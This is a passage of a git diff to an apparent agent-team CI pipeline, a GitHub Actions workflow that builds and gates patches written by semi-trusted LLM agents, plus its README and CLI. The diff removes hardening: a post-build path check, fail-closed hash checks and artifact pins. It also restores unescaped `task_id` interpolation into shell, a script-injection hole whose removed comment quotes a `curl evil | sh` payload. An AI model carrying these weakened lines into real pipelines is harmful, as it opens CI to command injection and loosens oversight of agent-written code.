_sanitize(finding.get("severity"), max_len=40), - _sanitize(checker, max_len=80), - ) - self._coordinator.start_task( - task_text=task_text, - transport_name=self._transport_name, - ) - self._ingested.add(identity) - ingested_now.append(identity) - - return ingested_now - - def ingest_reports(self, paths: list[Path]) -> list[str]: - """Load checker report files / dirs and ingest their eligible findings. - - Each entry in ``paths`` may be a report file or a directory of ``*.json`` - reports (see :func:`load_report_findings`). All loaded findings are - concatenated, then handed to :meth:`ingest_findings` (so de-dup spans the - whole batch). Returns the finding identities ingested on this call. - """ - findings: list[dict[str, Any]] = [] - for path in paths: - findings.extend(load_report_findings(path)) - return self.ingest_findings(findings) diff --git a/agent-team/ci/README.md b/agent-team/ci/README.md index 69e05d4..b181e6c 100644 --- a/agent-team/ci/README.md +++ b/agent-team/ci/README.md @@ -6,20 +6,12 @@ holds the **split-job CI apply/verify workflow** that turns a builder agent's boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`. > **STATUS: DEPLOY-GATED. NOT ENABLED, NOT PROVISIONED.** This is authored as -> files only. Per the design (§3.3.2, §7.1 P3) the workflow must clear **BOTH -> `/sh-security-review` AND the mandatory GPT-4.1 cross-review** before -> deployment, because it is untrusted-input handling + a CI trust boundary. The -> privileged draft-PR step is hard-disabled (`if: ${{ false }}`); the ONLY -> remaining step to go live is the **provisioning flip** (create the GitHub App, -> the `agent-apply` environment with a required reviewer, and branch protection, -> then flip the step's `if:`). Nothing here is wired to a live org repo. -> -> **AUTH MODEL (LOCKED): GitHub App installation token — ZERO cloud credentials, -> no token-federation.** The privileged `gate-and-pr` job authenticates with a -> GitHub App installation token (`pull-requests: write`) minted at run time by -> SHA-pinned `actions/create-github-app-token`. There is **no AWS and no -> cloud-OIDC** anywhere in this workflow. The required human reviewer lives on -> the `agent-apply` GitHub Environment (configured at provisioning, not in YAML). +> files only. Per the design (§3.3.2, §7.1 P3) the workflow + its OIDC role must +> clear **BOTH `/sh-security-review` AND the mandatory GPT-4.1 cross-review** +> before deployment, because it is IaC/IAM + untrusted-input handling. The +> privileged draft-PR step is hard-disabled (`if: ${{ false }}`) and the OIDC +> `id-token`/`pull-requests: write` grants are left commented until those gates +> pass. Nothing here is wired to a live org repo. ## Files @@ -30,8 +22,7 @@ boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`. The filename is kebab-case per the handbook. Deployment target (later, after the gates): promote into `Sea-Haven-Industries/.github` as a reusable workflow -(`engineering-handbook/cicd.md`); the trusted apply path (which owns the GitHub -App write token) invokes it. +(`engineering-handbook/cicd.md`); the Option-B OIDC apply path invokes it. ## The trust boundary (design §3.3.2) @@ -43,17 +34,13 @@ implements all five boundaries: 1. **Split CI — untrusted execution is credential-less.** The job that checks out and runs the diff (`build-test`) runs with `permissions: contents: read`, - **no secrets, no App token, no write token**, and egress blocked + **no secrets, no OIDC, no write token**, and egress blocked (harden-runner). The patch executes only there, where there is nothing to - steal and nothing to assume. Every privileged action (the GitHub App token - mint, the draft-PR open) runs in a **separate `gate-and-pr` job that never - checks out or executes patch-controlled code** — it consumes the build/test - report as **data only**. There is **no `pull_request_target` + head-ref - checkout** (the "pwn request" anti-pattern). The `build-test` job also runs a - **post-build denied-path check**: after the build/test step, it diffs the - working tree against the committed patched baseline and fails if a build hook - (setup.py, conftest, postinstall, Makefile) wrote into the trust-control - surface or out of declared scope — closing the build-hook write vector. + steal and nothing to assume. Every privileged action (the eventual OIDC role, + the draft-PR open) runs in a **separate `gate-and-pr` job that never checks + out or executes patch-controlled code** — it consumes the build/test report + as **data only**. There is **no `pull_request_target` + head-ref checkout** + (the "pwn request" anti-pattern). 2. **Trust-control-surface denylist (CI-side hard fail).** The `guard` job rejects any diff that touches `.github/workflows/**`, IAM/policy IaC (CDK/SAM/Terraform), branch-protection / `CODEOWNERS` / Dependabot config, or @@ -101,7 +88,7 @@ workflow_dispatch (task_id, diff_artifact_name, expected_diff_hash, declared_sco (boundaries 2,3) re-hash + denylist + scope. Never applies it. │ (needs) ▼ - build-test contents:read, no secrets, no App token, egress blocked — + build-test contents:read, no secrets, no OIDC, egress blocked — (boundary 1) the ONLY job that applies + runs the UNTRUSTED patch. │ (needs) Emits a NON-authoritative report artifact. ▼ @@ -125,7 +112,6 @@ tag in a trailing comment: | `actions/download-artifact` | `fa0a91b85d4f404e444e00e005971372dc801d16` | v4.1.8 | | `actions/upload-artifact` | `b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882` | v4.4.3 | | `actions/setup-python` | `0b93645e9fea7318ecaed2b359559ac225c90a2b` | v5.3.0 | -| `actions/create-github-app-token` | `5d869da34e18e7287c1daad50e0b8ea0f506ce69` | v1.11.0 | | `step-security/harden-runner` | `0080882f6c36860b6ba35c610c98ce87d4e2f26f` | v2.10.2 | ## Relationship to the foundation @@ -160,25 +146,10 @@ gate is "verified" is therefore backed by that test, not by authoring alone.) Before this ships (§3.3.2, §7.1 P3): -1. `/sh-security-review` over this workflow (untrusted-input handling + CI - trust boundary). -2. Mandatory **GPT-4.1 cross-review** of the workflow. (No IAM/cloud role is - involved — the auth model is a GitHub App installation token, not OIDC/AWS.) -3. **Provisioning** (the single remaining step to go live): - - Create the GitHub App with a single permission (`pull-requests: write`), - install it on the target repo, and store its id + private key as the - `AGENT_APPLY_APP_ID` / `AGENT_APPLY_APP_PRIVATE_KEY` secrets. - - Create the `agent-apply` GitHub Environment with a **required reviewer** - (and optional wait timer) — this is the human gate, configured on the - Environment, not in YAML. - - Configure **branch protection** on the target branch (required checks + - human approval). - - Issue the **read-only** token for the CI-result fetcher - (`AGENT_TEAM_CI_READ_TOKEN`, falling back to `GITHUB_TOKEN`). -4. A documented, **exercised** rollback (uninstall the App, remove the - environment, revert the workflow). -5. Only then: flip the App-token + draft-PR steps' `if: ${{ false }}` to the - live condition documented in the workflow - (`always() && needs.guard.result=='success' && - needs.build-test.result=='success' && steps.gate.outputs.gate=='pass'`), and - promote to `Sea-Haven-Industries/.github`. Draft PRs only; never auto-merge. +1. `/sh-security-review` over this workflow (IaC + untrusted-input handling). +2. Mandatory **GPT-4.1 cross-review** of the workflow **and** the Option-B OIDC + role it will assume (IAM change). +3. A documented, **exercised** rollback (remove the role, revert the workflow). +4. Only then: uncomment the `id-token` / `pull-requests: write` grants, enable + the draft-PR step, and promote to `Sea-Haven-Industries/.github`. Draft PRs + only; never auto-merge. diff --git a/agent-team/ci/agent-team-apply-verify.yml b/agent-team/ci/agent-team-apply-verify.yml index 21589fd..e3784c9 100644 --- a/agent-team/ci/agent-team-apply-verify.yml +++ b/agent-team/ci/agent-team-apply-verify.yml @@ -6,21 +6,10 @@ # mandatory GPT-4.1 cross-review before it is deployed (it is IaC/IAM + # untrusted-input handling). Until then it lives here as a reviewable artifact. # -# AUTH MODEL (LOCKED, P3-live): the privileged job authenticates via a GitHub -# App INSTALLATION TOKEN with `pull-requests: write` — there are ZERO cloud -# credentials and no cloud token-federation anywhere in this workflow. The -# required human-reviewer gate lives on the `agent-apply` GitHub Environment -# (configured at provisioning, not in YAML). -# # Deployment target (later, after the gates): promote into # Sea-Haven-Industries/.github as a reusable workflow (engineering-handbook -# cicd.md) and have the apply path call it. The filename stays kebab-case per -# the handbook. PROVISIONING (the ONLY remaining step to go live) creates the -# GitHub App + its installation, the `agent-apply` environment with a required -# reviewer + branch protection, then flips the draft-PR step's `if:` (see the -# provisioning runbook). Flipping live against a non-existent environment is an -# unprotected hole, so the flip is a deliberate provisioning action, not authored -# here. +# cicd.md) and have the Option-B OIDC apply path call it. The filename stays +# kebab-case per the handbook. # # ───────────────────────────────────────────────────────────────────────────── # TRUST BOUNDARY (design §3.3.2). The builder agents are semi-trusted: an LLM @@ -29,8 +18,8 @@ # # 1. Split CI. The job that checks out + executes the patch (`build-test`) # runs credential-less (`permissions: contents: read`, no secrets, no -# App token, no write token, egress-restricted). Every privileged action -# runs in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs +# OIDC, no write token, egress-restricted). Every privileged action runs +# in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs # patch-controlled code; it consumes the build/test report as DATA only. # This is NOT `pull_request_target` with a head-ref checkout (pwn request). # 2. Trust-control-surface denylist. `guard` hard-fails (CI-side, not only the @@ -55,8 +44,8 @@ name: agent-team-apply-verify -# Manual / API trigger only. The trusted, separate apply path (which owns the -# GitHub App write token) invokes this with the candidate-diff +# Manual / API trigger only. The Option-B OIDC apply path (a trusted, separate +# workflow that owns the write token) invokes this with the candidate-diff # artifact + the ledger-recorded hash + the declared scope. There is NO # pull_request / pull_request_target trigger: the patch must never run in a # context that carries write or secret scope (boundary 1). @@ -127,13 +116,6 @@ jobs: with: name: ${{ inputs.diff_artifact_name }} path: ./_incoming - # Pin the source run so an artifact can never be sourced from a - # DIFFERENT run (an attacker who can upload an artifact in some other - # run must not be able to substitute it here). This is the current - # run; download-artifact@v4 restricts to the same run by default, but - # pinning run-id makes that explicit and audit-visible. No - # github-token is set: this job is credential-less and same-run only. - run-id: ${{ github.run_id }} - name: Verify diff integrity + trust-control denylist + scope id: verify @@ -162,32 +144,23 @@ jobs: # an auto-reject; such a diff is escalated to mandatory human + GPT # cross-review, never auto-built (these are the mandatory-cross-review # surface regardless). Matched against canonicalized POSIX paths. --- - # INJ-03: UNION SUPERSET, IDENTICAL across all three trust-control - # copies (this guard inline list, the post-build inline list below, and - # agent_team.ci_gate.DENYLIST_GLOBS). test_apply_verify_workflow_hardening - # asserts the three are byte-for-byte equal so drift fails CI. Edit all - # three together. DENY_GLOBS: tuple[str, ...] = ( ".github/workflows/**", ".github/actions/**", - ".github/CODEOWNERS", "**/CODEOWNERS", "CODEOWNERS", ".github/dependabot.yml", ".github/dependabot.yaml", ".github/settings.yml", - "**/cdk.json", - "**/template.yml", + # IAM / policy / permission IaC (CDK / SAM / Terraform). "**/template.yaml", - "**/samconfig.toml", + "**/template.yml", "**/*.tf", + "**/cdk.json", "**/*-stack.ts", "**/*_stack.py", - "**/iam/**", - "**/policies/**", - "**/*iam*", "**/policy*.json", - "**/*policy*.json", + "**/*iam*", "**/*.pem", "**/*.key", ) @@ -368,15 +341,6 @@ jobs: expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower() scope = [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()] - # FAIL-CLOSED on an empty/missing expected hash BEFORE comparing. - # The recomputed `actual` is always a real sha256, so an empty - # `expected` already mismatches and fails — but an explicit guard - # makes the empty == empty invariant impossible to regress (e.g. if - # the comparison is ever refactored) and gives a clearer ALARM. - if not expected: - print("::error::empty/missing expected diff hash; refusing to bind (fail-closed)") - return 2 - with open(diff_path, "rb") as fh: raw = fh.read() actual = hashlib.sha256(raw).hexdigest() @@ -446,7 +410,7 @@ jobs: # ─────────────────────────────────────────────────────────────────────────── # JOB 2 — build-test (boundary 1). UNTRUSTED execution. This is the ONLY job # that applies + runs the patch. It is credential-less: contents:read only, no - # secrets, no App token, no write token, egress blocked. There is nothing here to + # secrets, no OIDC, no write token, egress blocked. There is nothing here to # steal and nothing to assume. It writes a report artifact consumed by the # privileged gate as DATA — that report is NOT authoritative (boundary 4). # Depends on `guard` so a denied/tampered diff never reaches execution. @@ -490,10 +454,6 @@ jobs: with: name: ${{ inputs.diff_artifact_name }} path: ./_incoming - # Same-run pin as the guard job: the bytes applied here must be the - # bytes uploaded in THIS run, not an artifact substituted from another - # run. The pre-apply hash re-check below is the second layer. - run-id: ${{ github.run_id }} - name: Re-verify diff hash before apply (defense-in-depth) env: @@ -532,17 +492,6 @@ jobs: # touch only this ephemeral runner. git apply --check ./_incoming/candidate.diff git apply ./_incoming/candidate.diff - # Commit the patched tree to a throwaway local commit so the working - # tree is CLEAN before the build runs. This is the baseline the - # post-build denied-path check diffs against: the guard job already - # vetted the candidate diff's paths, so by committing it we isolate - # whatever the BUILD HOOK itself writes (a malicious setup.py / - # conftest / build script that drops a file into a denied path). Local - # commit only — this job has no write credential, nothing is pushed. - git config user.email "agent-apply@local.invalid" - git config user.name "agent-apply build sandbox" - git add -A - git commit --quiet --no-verify -m "candidate diff (sandbox baseline)" || true - name: Set up Python uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 @@ -564,284 +513,16 @@ jobs: ruff check . || echo "ruff non-zero (recorded, non-authoritative)" pytest -q || echo "pytest non-zero (recorded, non-authoritative)" - - name: Post-build denied-path check (build hook may not write the trust surface) - if: always() - env: - DECLARED_SCOPE: ${{ inputs.declared_scope }} - run: | - set -euo pipefail - # SECURITY (boundary 2, build-hook variant). The guard job vetted the - # candidate DIFF's paths, but a build/test hook (setup.py, a conftest, - # an npm postinstall, a Makefile) running in THIS untrusted job can - # ALSO write files — including into the trust-control surface or out of - # the declared scope. We committed the patched tree as the baseline - # above, so anything that differs now is build-hook output. We FAIL the - # job if any of it lands on a denied path or outside scope. - # - # FIX-2 / INJ-02: parse NUL-delimited, never newline-split. A malicious - # build hook can write a file whose name contains a tab/space/quote/ - # NEWLINE; a `git status --porcelain | sed` + newline-split pipeline - # would either mangle or split such a name and let it evade the path - # match. So we emit machine-readable NUL-delimited records: - # * `git status --porcelain=v1 -z --untracked-files=all` (each entry - # is `XY ` and, for renames, `XY \0` — two NUL - # fields), and - # * `git diff -z --name-only HEAD` (NUL-separated tracked paths), - # and Python splits on NUL and parses rename entries explicitly. We also - # set `core.quotepath false` so git never C-quotes/escapes UTF-8 or - # special bytes in path output (belt-and-suspenders). No backslash - # mangling is done anywhere. A path that cannot be cleanly decoded is - # treated as a VIOLATION (fail closed). - git config core.quotepath false - git diff -z --name-only HEAD > ./_build_diff_z.bin || true - git status --porcelain=v1 -z --untracked-files=all > ./_build_status_z.bin || true - python3 - <<'PY' - from __future__ import annotations - - import os - import posixpath - import re - import sys - - # SAME denylist as the guard job + ci_gate.DENYLIST_GLOBS (boundary 2, - # INJ-03 union superset). All three are byte-for-byte identical and - # test_apply_verify_workflow_hardening asserts it; edit all three. - DENY_GLOBS: tuple[str, ...] = ( - ".github/workflows/**", - ".github/actions/**", - ".github/CODEOWNERS", - "**/CODEOWNERS", - "CODEOWNERS", - ".github/dependabot.yml", - ".github/dependabot.yaml", - ".github/settings.yml", - "**/cdk.json", - "**/template.yml", - "**/template.yaml", - "**/samconfig.toml", - "**/*.tf", - "**/*-stack.ts", - "**/*_stack.py", - "**/iam/**", - "**/policies/**", - "**/*iam*", - "**/policy*.json", - "**/*policy*.json", - "**/*.pem", - "**/*.key", - ) - _GLOB_META = set("*?[]") - - def canonical(path: str) -> str: - # FIX-2 / INJ-02: paths come from `git -z` with core.quotepath=false, - # so they are RAW: real '/' separators and no C-quoting. We do NOT - # do `.replace("\\","/")` backslash mangling (a backslash is a literal - # filename byte here) and do NOT strip quotes (git did not add any). - # We only reject leading/trailing whitespace-only and escaping paths. - p = path - if not p: - raise ValueError("empty path") - norm = posixpath.normpath(p) - if norm.startswith("/") or norm == ".." or norm.startswith("../"): - raise ValueError(f"path escapes repo root: {path!r}") - return norm - - def _glob_to_regex(glob: str) -> "re.Pattern[str]": - out: list[str] = [] - i, n = 0, len(glob) - while i < n: - if glob[i : i + 3] == "**/": - out.append(r"(?:.*/)?") - i += 3 - elif glob[i : i + 2] == "**": - out.append(r".*") - i += 2 - elif glob[i] == "*": - out.append(r"[^/]*") - i += 1 - elif glob[i] == "?": - out.append(r"[^/]") - i += 1 - else: - out.append(re.escape(glob[i])) - i += 1 - return re.compile("^" + "".join(out) + "$", re.IGNORECASE) - - _DENY_RES = tuple(_glob_to_regex(g) for g in DENY_GLOBS) - - def denied(path: str) -> bool: - return any(p.match(path) for p in _DENY_RES) - - def _scope_prefix(entry: str) -> str | None: - keep: list[str] = [] - for part in entry.split("/"): - if any(c in _GLOB_META for c in part): - break - keep.append(part) - prefix = "/".join(keep) - return prefix or None - - def safe_scope(scope: list[str]) -> list[str]: - safe: list[str] = [] - for g in scope: - try: - canon = canonical(g) - except ValueError: - continue - prefix = _scope_prefix(canon) - if prefix is not None and prefix not in safe: - safe.append(prefix) - return safe - - def in_scope(path: str, scope: list[str]) -> bool: - return any(path == e or path.startswith(e + "/") for e in scope) - - def _read_z(path: str) -> list[bytes]: - """Read a NUL-delimited file into a list of byte records (no trailing empty).""" - try: - with open(path, "rb") as fh: - blob = fh.read() - except FileNotFoundError: - return [] - if not blob: - return [] - parts = blob.split(b"\x00") - if parts and parts[-1] == b"": - parts.pop() - return parts - - def _decode(field: bytes) -> str | None: - """Strictly decode a path field as UTF-8; None if it cannot be cleanly decoded.""" - try: - return field.decode("utf-8") - except UnicodeDecodeError: - return None - - def _diff_paths() -> tuple[list[str], list[bytes]]: - """`git diff -z --name-only` records: each NUL field is one path.""" - ok: list[str] = [] - bad: list[bytes] = [] - for rec in _read_z("./_build_diff_z.bin"): - dec = _decode(rec) - (ok if dec is not None else bad).append(dec if dec is not None else rec) - return ok, bad - - def _status_paths() -> tuple[list[str], list[bytes]]: - """Parse `git status --porcelain=v1 -z` records. - - Each entry is `XY `; a rename/copy (X or Y in R/C) is followed - by a SECOND field, the rename/copy SOURCE, in a separate NUL record. - We surface BOTH the destination and the source (a rename INTO or OUT - of a denied/out-of-scope path must be caught). A record whose path - field cannot be cleanly UTF-8 decoded is reported as a violation. - """ - ok: list[str] = [] - bad: list[bytes] = [] - recs = _read_z("./_build_status_z.bin") - i = 0 - while i < len(recs): - rec = recs[i] - # `XY ` is a 3-byte prefix: two status codes + a space. - if len(rec) < 4: - bad.append(rec) - i += 1 - continue - xy = rec[:2] - body = rec[3:] - dec = _decode(body) - (ok if dec is not None else bad).append(dec if dec is not None else body) - # Rename (R) / copy (C) in either index or worktree column carries - # a following SOURCE field as its own record — consume + check it. - if xy[0:1] in (b"R", b"C") or xy[1:2] in (b"R", b"C"): - i += 1 - if i < len(recs): - src = recs[i] - sdec = _decode(src) - (ok if sdec is not None else bad).append( - sdec if sdec is not None else src - ) - i += 1 - return ok, bad - - def main() -> int: - diff_ok, diff_bad = _diff_paths() - status_ok, status_bad = _status_paths() - raw_paths = sorted(set(diff_ok) | set(status_ok)) - undecodable = diff_bad + status_bad - - violations: list[str] = [] - # FIX-2: a path that cannot be cleanly decoded is a VIOLATION (fail - # closed) — we never silently drop or lossily replace a build-written - # filename the path match cannot reason about. - for raw in undecodable: - violations.append( - f"build hook wrote an undecodable path: {raw!r}" - ) - - if not raw_paths and not violations: - print("post-build check: build hook wrote no files; clean") - return 0 - - scope = safe_scope( - [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()] - ) - - for raw in raw_paths: - try: - path = canonical(raw) - except ValueError: - violations.append(f"build hook wrote an escaping path: {raw!r}") - continue - if denied(path): - violations.append(f"build hook wrote a trust-control path: {path}") - elif scope and not in_scope(path, scope): - violations.append(f"build hook wrote out of declared scope: {path}") - - if violations: - for v in violations: - print(f"::error::{v}") - print("::error::build hook wrote a denied/out-of-scope path; failing job") - return 1 - print(f"post-build check: {len(raw_paths)} build-written path(s); all clean") - return 0 - - sys.exit(main()) - PY - - name: Emit non-authoritative report (job conclusion is the truth) if: always() - env: - # CWE-94 env-indirection. `inputs.task_id` is attacker-influenceable - # (the dispatcher passes it from task state) and GitHub expands every - # `${{ }}` into the shell SCRIPT TEXT before the shell runs — so a - # value like `"; curl evil | sh; #` would be interpolated as code and - # `%s`/quoting in printf would NOT stop it. Binding it to an env var - # and referencing it as a quoted shell variable ("$TASK_ID") means the - # shell sees it as DATA, never as script. python's json.dumps then - # encodes it safely into the report. - TASK_ID: ${{ inputs.task_id }} run: | set -euo pipefail # This report is consumed by the gate as DATA for the verifier agent's # next-fix reasoning. It is NOT the pass/fail decision — the gate reads # the AUTHENTICATED job conclusion (boundary 4), never this file. mkdir -p ./_report - # Build the JSON with python's json encoder (reads TASK_ID from the - # environment) so the untrusted task_id cannot break out of the string - # or inject JSON structure. - python3 - <<'PY' > ./_report/report.json - import json - import os - - print( - json.dumps( - { - "task_id": os.environ["TASK_ID"], - "note": "non-authoritative; gate uses job conclusion", - } - ) - ) - PY + printf '{"task_id":"%s","note":"non-authoritative; gate uses job conclusion"}\n' \ + "${{ inputs.task_id }}" > ./_report/report.json - name: Upload non-authoritative report if: always() @@ -858,74 +539,33 @@ jobs: # keyed to this run, and only on a clean pass opens a DRAFT PR. It never trusts # any artifact the patch wrote. Pass/fail is pure code here, not the LLM. # - # AUTH (LOCKED): the privileged write here is a GitHub App INSTALLATION TOKEN - # with `pull-requests: write` — ZERO cloud credentials, no token-federation. - # The token is minted at run - # time by actions/create-github-app-token (SHA-pinned) from the App id + - # private key held as repo/org secrets, and is scoped to exactly the grant the - # App installation has. The required HUMAN reviewer that must approve before - # this job's `environment` runs is configured on the `agent-apply` GitHub - # Environment at PROVISIONING (it cannot be expressed in YAML — see the - # provisioning runbook). This job NEVER checks out or executes patch code: it - # reads the AUTHENTICATED needs.*.result conclusions, and only on a clean pass - # opens a DRAFT PR. The draft-PR step stays hard-disabled (`if: ${{ false }}`) - # until provisioning creates the App + environment + branch protection; the - # flip is the single remaining provisioning action. + # NOTE: the OIDC/write grant is declared here as the eventual home of the + # privileged step, but this file is deploy-gated — the `id-token`/PR-open + # step is left as a documented placeholder so nothing is provisioned until the + # §3.3.2 review gates pass. Wiring the real OIDC role is Phase P3 / Phase 5 + # AFTER the mandatory GPT-4.1 cross-review of the IAM. # ─────────────────────────────────────────────────────────────────────────── gate-and-pr: needs: [guard, build-test] - # Defense-in-depth: the privileged job NEVER runs on a failed/skipped/ - # cancelled guard or build-test. We still want it to run on a build-test - # FAILURE only to record the authoritative conclusion — but until - # provisioning this job holds ZERO privilege and does ZERO privileged work - # (the gate is pure-code, the token + draft-PR steps are `if: ${{ false }}`), - # so gating on both upstream jobs succeeding is the safe posture: a test - # dispatch today runs only the credential-less guard + build-test. At - # provisioning, revisit whether to relax to `always()` to record failures. - if: always() && needs.guard.result == 'success' && needs.build-test.result == 'success' + # `always()` so the gate runs even when build-test failed, to record the + # authoritative conclusion. The gate itself decides pass/fail from results. + if: always() runs-on: ubuntu-latest timeout-minutes: 5 - # PROVISIONING-TIME PRIVILEGE (BLOCK-1 / FIX-4 / QUESTION-2). Privileged - # declarations must be PROVISIONING-time, not live: an `environment:` that - # does not exist yet and a `pull-requests: write` grant are unprotected holes - # if declared before the `agent-apply` environment (with its required - # reviewer) is created. So both stay COMMENTED here — the exact deploy-gated - # pattern the removed cloud token-federation grant used — and are uncommented - # at provisioning AFTER the environment exists. Today this job is - # credential-less and runs ONLY the pure-code gate. - # - # The `agent-apply` GitHub Environment is the human-gate home: its REQUIRED - # REVIEWER (and optional wait timer / branch policy) is configured on the - # Environment at PROVISIONING — GitHub holds the job here until a human - # approves. This cannot be authored in YAML; the `environment:` reference is - # the hook the provisioning step attaches the reviewer to. - # environment: # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer - # name: agent-apply # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer permissions: contents: read - # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer - # The ONLY privileged grant: open a draft PR. Kept COMMENTED until - # provisioning so the job holds ZERO privilege on a test dispatch today; - # the draft-PR + app-token STEPS also stay `if: ${{ false }}` until then. - # pull-requests: write - # NOTE: there is deliberately NO token-federation permission here — this - # workflow uses a GitHub App installation token only, no cloud provider. + # pull-requests: write # ← enabled ONLY after the §3.3.2 review gates. + # id-token: write # ← OIDC for the Option-B apply role, post-gate. steps: - name: Harden runner (privileged job; block egress) uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: - # DEPLOY: this allowlist is GitHub API only (App-token mint + gh pr - # create). Trim/confirm per target repo at provisioning — an - # over-broad allowlist weakens the egress boundary even on the - # privileged job. No cloud endpoints: the auth model is a GitHub App - # token only, with no cloud token-federation. egress-policy: block allowed-endpoints: > github.com:443 api.github.com:443 - name: Pure-code pass/fail gate over authenticated results - id: gate env: # These come from GitHub's job orchestration, NOT from the patch. GUARD_RESULT: ${{ needs.guard.result }} @@ -964,19 +604,7 @@ jobs: """ if not run_id: return False, "missing run id; cannot bind decision to a run" - # FAIL-CLOSED on an empty/missing hash. Without this guard an empty - # guard-exported hash AND an empty expected hash compare equal - # ('' == ''), so a run where the hash binding never populated would - # SILENTLY satisfy the binding check — empty must never count as a - # match. Require both sides present (and equal) before binding holds. - g = diff_hash.strip().lower() - e = expected_hash.strip().lower() - if not g or not e: - return False, ( - "empty/missing hash; refusing to bind " - f"(guard={diff_hash!r} expected={expected_hash!r})" - ) - if g != e: + if diff_hash.strip().lower() != expected_hash.strip().lower(): return False, f"hash binding broken: guard={diff_hash} expected={expected_hash}" if guard_result != "success": return False, f"guard did not pass: {guard_result!r}" @@ -1004,69 +632,10 @@ jobs: sys.exit(main()) PY - - name: "Mint GitHub App installation token (pull-requests write only)" - id: app-token - # Hard-disabled with the draft-PR step until provisioning: minting a - # token against an App that does not exist yet would fail, and there is - # nothing to do with it while the PR step is off. The condition is the - # SAME target as the draft-PR step so the two flip together. - if: ${{ false }} # ← flip with the draft-PR step at provisioning (see below). - uses: actions/create-github-app-token@5d869da34e18e7287c1daad50e0b8ea0f506ce69 # v1.11.0 - with: - # PROVISIONING: create the GitHub App (single permission: - # `pull-requests: write`), install it on the target repo, and store - # its id + private key as these secrets. The minted token is scoped to - # exactly the App installation's grant — narrower than a PAT, and it - # auto-expires (~1h). No cloud credentials, no token-federation. - app-id: ${{ secrets.AGENT_APPLY_APP_ID }} - private-key: ${{ secrets.AGENT_APPLY_APP_PRIVATE_KEY }} - - - name: Open DRAFT PR (DEPLOY-GATED — flip at provisioning only) - # belt-and-suspenders: even once flipped, the draft PR opens ONLY on a - # clean authenticated pass. Target condition for the provisioning flip: - # - # if: >- - # always() - # && needs.guard.result == 'success' - # && needs.build-test.result == 'success' - # && steps.gate.outputs.gate == 'pass' - # - # Flip to that condition ONLY after the `agent-apply` environment + the - # GitHub App are provisioned and branch protection is in place (see the - # provisioning runbook). Flipping live against a non-existent environment - # is an unprotected hole, so it stays `${{ false }}` here. - if: ${{ false }} # ← hard-disabled until provisioning (see comment above). - env: - # The App installation token (pull-requests: write). gh reads it from - # GH_TOKEN. Untrusted values used below are env-indirected (CWE-94). - GH_TOKEN: ${{ steps.app-token.outputs.token }} - TASK_ID: ${{ inputs.task_id }} - DIFF_HASH: ${{ needs.guard.outputs.diff_hash }} - # The repo the PR is opened in (the App installation's repo). - GH_REPO: ${{ github.repository }} + - name: Open DRAFT PR (DEPLOY-GATED PLACEHOLDER — not enabled) + if: ${{ false }} # ← hard-disabled. Enable only after §3.3.2 review gates. run: | - set -euo pipefail - # Draft PR ONLY; never auto-merge (D2). Branch protection + the - # required reviewer on the agent-apply environment + the security - # review + the Claude Code App review are the final enforcement - # (boundary 5). The agent NEVER merges. task_id / diff_hash are read - # from the environment (not interpolated into this script) so an - # untrusted task_id cannot inject shell. - # - # NOTE: the dispatcher records the agent branch name in the ledger and - # passes it in at provisioning; the branch is created by the trusted - # apply path (the box has no write token, D2), so this step only OPENS - # the PR for an already-pushed agent branch. Wire `--head` to that - # branch input at provisioning. - # NIT-2: build BOTH title and body with `printf '%s'` over the - # env-indirected vars (no `${TASK_ID}` shell interpolation in one and - # printf in the other) so the two are consistent and the untrusted - # values are only ever consumed as printf data. - title="$(printf 'agent-apply: %s (diff %s)' "$TASK_ID" "$DIFF_HASH")" - body="$(printf 'Automated draft PR from the agent-team apply/verify pipeline.\n\nTask: %s\nDiff hash: %s\n\nDRAFT ONLY — never auto-merged. Requires: green required checks, security review, Claude Code App review, and human approval (D2, boundary 5).' "$TASK_ID" "$DIFF_HASH")" - gh pr create \ - --draft \ - --title "$title" \ - --body "$body" \ - --base main - echo "draft PR opened (task=$TASK_ID); never auto-merged." + echo "Draft-PR open runs here AFTER the mandatory GPT-4.1 cross-review" + echo "+ /sh-security-review of this workflow and its OIDC role." + echo "Draft PR only; never auto-merge (D2). Branch protection is the" + echo "final enforcement (boundary 5)." diff --git a/agent-team/run-team.py b/agent-team/run-team.py index 120bb18..8d40c7e 100644 --- a/agent-team/run-team.py +++ b/agent-team/run-team.py @@ -41,11 +41,6 @@ Subcommands (P1 surface): * ``intake-github`` — poll a repo for labeled open issues and start one pipeline task per not-yet-ingested issue (one pass). Reads issues + calls the committed coordinator intake entry only; no CI, OIDC, or git/patch apply. Opt-in/inert. -* ``intake-checker`` — the Plane-1 -> Plane-2 cross-plane loop (P5): read one or - more checker report JSON files / a dir, select CONFIRMED findings at/above a - severity threshold (default ``high``), de-dup, and start one remediation task - per unique finding via the committed coordinator intake entry. Reads local - report JSON only; no CI, OIDC, network, or git/patch apply. Opt-in/inert. Exit codes: ``0`` success, ``1`` operational failure (e.g. row not found, the compare-and-set lost the race), ``2`` usage error (argparse). @@ -717,44 +712,6 @@ def _cmd_intake_github(args: argparse.Namespace, *, out: Any) -> int: return 0 -def _cmd_intake_checker(args: argparse.Namespace, *, out: Any) -> int: - """Read checker reports and start one task per confirmed eligible finding. - - The Plane-1 -> Plane-2 cross-plane front door (P5): builds a - :class:`Coordinator` (transport from the lazy factory; ``--dry-run`` posts - nowhere), runs ``setup``, then constructs a - :class:`agent_team.transport.checker_intake.CheckerFindingIntake` and runs - ONE :meth:`~agent_team.transport.checker_intake.CheckerFindingIntake.ingest_reports` - over the report paths. Each ``--report`` may be a checker report JSON file or - a directory of ``*.json`` reports. - - OPT-IN and INERT: this only reads local report JSON and calls the committed - coordinator intake entry — no CI, OIDC, git/patch apply, or network. The - severity threshold (default ``high``) and transport come from CLI flags. - De-dup is in-memory per process, so each run is a single pass. Prints the - finding identities ingested on this pass (one per line). - """ - from agent_team.transport.checker_intake import CheckerFindingIntake - - coordinator = 